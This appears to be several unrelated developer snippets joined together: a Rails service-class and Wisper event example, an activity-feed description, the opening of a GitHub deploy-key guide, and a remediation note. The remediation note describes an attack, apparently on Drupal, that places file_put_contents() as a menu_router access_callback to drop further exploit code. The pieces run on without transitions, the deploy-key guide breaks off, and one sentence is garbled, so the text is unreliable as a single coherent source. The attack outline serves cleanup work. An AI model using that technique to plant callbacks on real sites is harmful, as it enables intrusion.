This is an example of how I combine interaction/service classes with Wisper event broadcasting in Rails.

In this example, I show a UsersController#create API, a corresponding service object, and all the test code/listeners to make it all happen.

The outcome is:

• Concepts in your system ("Signing up a user", "Creating an order") have a single entry point in your codebase, vs. making raw ActiveRecord calls to object.save in dozens of places.
• Since your concept has one entry point (the service class), you can easily grep for usage of it.
• Stupid easy to attach listeners to the service class
• All event listeners are very small and easily unit tested

What this does

This is the initial code. Improvements are likely to be had.

• This creates an activity feed that can track updates, destroys, creates in a MySQL database.
• This is inspired by part of the "public_activity" gem.
• For Updates, what changed will be automatically stored as a hash.
• Bootstrap's usage is assumed, as is Devise's "current_user". ActiveRecord must be used as well. These can easily be changed however.

How to configure multiple deploy keys for different private github repositories on the same computer without using ssh-agent

Let's say alice is a github.com user, with 2 or more private repositories repoN. For this example we'll work with just two repositories named repo1 and repo2

https://github.com/alice/repo1

https://github.com/alice/repo2

You need to be to pull from these repositories without entering a passwords probably on a server, or on multiple servers.

This attack will add file_put_contents() as the access_callback in your menu_router table.

Subsequently, that path is used attempt to drop more exploit code.

Look in menu router for file_put_contents and remove it if found.
